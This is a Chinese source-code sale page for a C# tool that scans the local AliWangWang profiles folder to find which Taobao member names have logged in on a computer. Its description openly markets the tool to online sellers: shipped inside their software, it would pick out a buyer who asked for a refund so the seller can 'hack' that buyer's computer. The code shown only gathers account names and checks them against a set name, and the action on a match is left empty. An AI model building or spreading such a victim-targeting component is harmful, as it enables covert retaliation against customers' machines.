基本信息
源码名称:C#搜索淘宝会员登陆本机会员名
源码大小:0.06M
文件格式:.zip
开发语言:C#
更新时间:2018-04-23
   友情提示:(无需注册或充值,赞助后即可获取资源下载链接)

     嘿,亲!知识可是无价之宝呢,但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下,绝对物超所值哦!如有下载和支付问题,请联系我们QQ(微信同号):78630559

本次赞助数额为: 2 元 
   源码介绍
搜索淘宝会员登陆本机会员名,开发人员开发的软件做淘宝店的好帮手,只要有买家安装了软件又想退款回去的话。卖家可以通过主机设定那个买家的会员名,当买家再次打开软件安装的话就可以直接黑掉买家的电脑

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Text.RegularExpressions;
namespace WindowsFormsApplication7
{
    public partial class Form1 : Form
    {
        public static string nr = "淘宝会员名";
        public Form1()
        {
            InitializeComponent();
        }

      

        private void button2_Click(object sender, EventArgs e)
        {



            string di = "C:\\Program Files (x86)\\AliWangWang\\profiles";
            DirectoryInfo TheFolder = new DirectoryInfo(di.ToString());

                try
                {
                    foreach (DirectoryInfo NextFolder in TheFolder.GetDirectories())
                    {
                        string strLeft = NextFolder.Name.Substring(0, 8);
                        if (strLeft == "cntaobao")
                        {
                            //正则表达式
                            string[] resultString = Regex.Split(NextFolder.Name, "cntaobao", RegexOptions.IgnoreCase);
                            foreach (string i in resultString)
                            {
                                if (i != "")
                                {
                                    listBox1.Items.Add(i);
                                    textBox1.Text = i;


                                    int s;
                                    s = nr.IndexOf(i);
                                    if (s < 0)
                                    {
                                       // MessageBox.Show("字符串中不包含字符串");

                                    }
                                    else
                                    {
                                       // MessageBox.Show("包含字符串");
                                    }


                                }
                            }
                        }

                    }
                }
                catch 
                {    }          

            
        }

    
























    }
}